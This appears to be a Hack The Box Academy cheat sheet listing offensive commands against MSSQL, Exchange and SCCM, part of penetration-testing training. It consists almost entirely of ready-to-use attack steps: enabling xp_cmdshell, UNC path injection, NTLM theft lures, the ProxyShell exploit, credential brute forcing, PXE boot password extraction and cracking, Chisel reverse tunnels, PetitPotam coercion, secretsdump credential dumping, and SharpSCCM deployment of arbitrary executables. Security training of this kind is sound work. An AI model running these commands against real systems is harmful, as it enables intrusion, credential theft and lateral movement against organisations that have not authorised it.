HACKTHEBOX

MSSQL, EXCHANGE, AND SCCM ATTACKS

CHEAT SHEET

HTB ACADEMY CHEATSHEET

MSSQL

Command	Description
`impacket-mssqlclient <User>@<IP>`	Connecting to an MSSQL database server

`SELECT r.name, r.type_desc, r.is_disabled, sl.sysadmin, sl.securityadmin, sl.serveradmin, sl.setupadmin, sl.processadmin, sl.diskadmin, sl.dbcreator, sl.bulkadmin`
`FROM master.sys.server_principals r`
`LEFT JOIN master.sys.syslogins sl ON sl.sid = r.sid`
`WHERE r.type IN ('S','E','X','U','G');`
	Enumeration of server logins

`SELECT a.name AS 'database', b.name AS 'owner', is_trustworthy_on`
`FROM sys.databases a`
`JOIN sys.server_principals b ON a.owner_sid = b.sid;`
	Enumeration of databases

`SELECT name FROM sys.server_permissions`
`JOIN sys.server_principals`
`ON grantor_principal_id = principal_id`
`WHERE permission_name = 'IMPERSONATE';`
	Login impersonation

`EXEC xp_fileexist 'C:\Windows\System32\drivers\etc\hosts';`	UNC Path injection

`EXEC sp_configure 'show advanced options', 1;`
`RECONFIGURE;`
`EXEC sp_configure 'xp_cmdshell', 1;`
`RECONFIGURE;`
`EXEC xp_cmdshell 'ipconfig';`
	Enabling `xp_cmdshell` and subsequent command execution

`EXEC sp_configure 'show advanced options', 1;`
`RECONFIGURE;`
`EXEC sp_configure 'ole automation procedures', 1;`
`RECONFIGURE;`
	Enable OLE automation stored procedure

`EXEC sp_linkedservers;`	Enumeration of linked database servers

Command	Description
`SELECT * FROM OPENQUERY(<DATABASE>, 'SELECT name, database_id, create_date FROM sys.databases');`	Execution of SQL `SELECT` operations on a linked database server
`SELECT * FROM OPENQUERY(<DATABASE>, 'SELECT IS_SRVROLEMEMBER(''sysadmin'')');`	Execution of SQL statements via `OPENQUERY` on a linked database server

Exchange

Command	Description
`curl https://<TARGET_IP>/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application -k | xmllint --format - | grep version`	Exchange version enumeration
`python3 ntlm_theft.py -g htm -s <TARGET_IP> -f <USER>`	Use NTLM Theft tool to generate HTML and send to target.
`python3 proxyshell.py -u <URL> -e <EMAIL>`	Use ProxyShell exploit to target a specific email address.
`./username-anarchy --input-file ./names.txt`	Generate username variations from a list of names using Username Anarchy.
`./ruler-linux64 --domain <DOMAIN> --insecure brute --users users.txt --passwords password.txt --verbose`	Use Ruler to brute force credentials against a domain.

SCCM

Command	Description
`python .\pxethief.py 2 <TARGET_IP>`	Run PXEThief to enumerate target system.
`tftp -i <TARGET_IP> GET "\SMSTemp\<TIMESTAMP>.{<GUID>}.boot.var" "<TIMESTAMP>.{<GUID>}.boot.var"`	Download a file from a TFTP server.
`python .\pxethief.py 5 '.\<TIMESTAMP>.{<GUID>}.boot.var'`	Process the boot variable file with PXEThief.
`hashcat/hashcat -m 19850 --force -a 0 hashcat/hash /usr/share/wordlists/rockyou.txt`	Use Hashcat to crack a hash using the RockYou wordlist.
`python .\pxethief.py 3 '.\<TIMESTAMP>.{<GUID>}.boot.var' "<PASSWORD>"`	Use PXEThief to extract password from boot variable file.
`./chisel server --reverse`	Start Chisel server with reverse port forwarding.
`.\chisel.exe client <VPN_IP>:8080 R:socks`	Connect Chisel client to the Chisel server for reverse tunneling.
`proxychains4 -q python3 sccmhunter.py find -u <USER> -p <PASSWORD> -d <DOMAIN> -dc-ip <DC_IP>`	Use SCCMHunter to find SCCM-related information.
`python3 sccmhunter.py show -all`	Show all information gathered by SCCMHunter.
`proxychains4 -q python3 sccmhunter.py smb -u <USER> -p <PASSWORD> -d <DOMAIN> -dc-ip <DC_IP> -save`	Enumerate SMB information using SCCMHunter and save results.
`proxychains4 -q python3 sccmhunter.py admin -u <USER> -p <PASSWORD> -ip <TARGET_IP>`	Use SCCMHunter for administrative tasks.
`proxychains4 -q python3 sccmhunter.py admin -u <USER> -p '<PASSWORD>' -ip <TARGET_IP> -au '<COMPUTER_NAME>' -ap <COMPUTER_PASSWORD>`	Use SCCMHunter for administrative tasks with additional parameters.
`proxychains4 -f <PROXY_CONF> python3 PetitPotam.py -u <USER> -p '<PASSWORD>' -d '<DOMAIN>' <PROXY_IP> <TARGET_IP>`	Execute PetitPotam attack using proxychains.
`proxychains4 -q -f <PROXY_CONF> mssqlclient.py '<USER>'@<TARGET_IP> -windows-auth -no-pass`	Connect to MSSQL server using proxychains and mssqlclient with Windows authentication and no password.

Command	Description
`Get-DomainUser <USER> -Properties objectsid`	Get domain user properties using PowerShell.
`proxychains4 -q -f <PROXY_CONF> secretsdump.py '<USER>'@<TARGET_IP> -no-pass`	Dump secrets from a target using proxychains and secretsdump with no password.
`proxychains4 -q -f <PROXY_CONF> python3 sccmhunter.py admin -u '<USER>' -p <NTLM_HASH> -ip <TARGET_IP>`	Use SCCMHunter for administrative tasks with NTLM hash authentication.
`proxychains4 -q python3 sccmhunter.py dpapi -u <USER> -p <PASSWORD> -d <DOMAIN> -dc-ip <DC_IP> -target <TARGET_IP> -wmi`	Enumerate DPAPI using SCCMHunter with WMI.
`proxychains4 -q addcomputer.py -computer-name '<COMPUTER_NAME>' -computer-pass '<COMPUTER_PASSWORD>' -dc-ip <DC_IP> '<DOMAIN>/<USER>':'<PASSWORD>'`	Add a computer to the domain using proxychains and addcomputer.py.
`xfreerdp /u:<USER> /p:'<PASSWORD>' /d:<DOMAIN> /v:<TARGET_IP> /dynamic-resolution /drive:.,linux /bpp:8 /compression -themes -wallpaper /clipboard /audio-mode:0 /auto-reconnect -glyph-cache`	Connect to a remote desktop using FreeRDP.
`.\Inveigh.exe`	Execute Inveigh for network sniffing and exploitation.
`.\SharpSCCM.exe invoke client-push -t <TARGET_IP>`	Invoke client push installation using SharpSCCM.
`.\SharpSCCM.exe get devices -n <SCCM_SERVER> -sms <TARGET_IP>`	Get devices from SCCM server using SharpSCCM.
`.\SharpSCCM.exe get class-instances <CLASS_NAME> -p <PROPERTY1> -p <PROPERTY2> -p <PROPERTY3> -p <PROPERTY4> -sms <TARGET_IP>`	Get class instances from SCCM server using SharpSCCM.
`.\SharpSCCM.exe get primary-users -u <USER> -sms <TARGET_IP>`	Get primary users from SCCM server using SharpSCCM.
`.\SharpSCCM.exe get devices -w "<FILTER_CONDITION>" -sms <TARGET_IP>`	Get devices with specific filter conditions from SCCM server using SharpSCCM.
`.\SharpSCCM.exe new application -s -n <APPLICATION_NAME> -p <PATH_TO_EXECUTABLE> -sms <TARGET_IP>`	Create a new application in SCCM using SharpSCCM.
`.\SharpSCCM.exe new collection -n "<COLLECTION_NAME>" -t device -sms <TARGET_IP>`	Create a new collection in SCCM using SharpSCCM.

Command	Description
`.\SharpSCCM.exe new collection-member -d <DEVICE_NAME> -n "<COLLECTION_NAME>" -t device -sms <TARGET_IP>`	Add a new member to a collection in SCCM using SharpSCCM.
`.\SharpSCCM.exe new deployment -a <APPLICATION_NAME> -c "<COLLECTION_NAME>" -sms <TARGET_IP>`	Create a new deployment in SCCM using SharpSCCM.
`.\SharpSCCM.exe invoke update -n "<COLLECTION_NAME>" -sms <TARGET_IP>`	Invoke update for a collection in SCCM using SharpSCCM.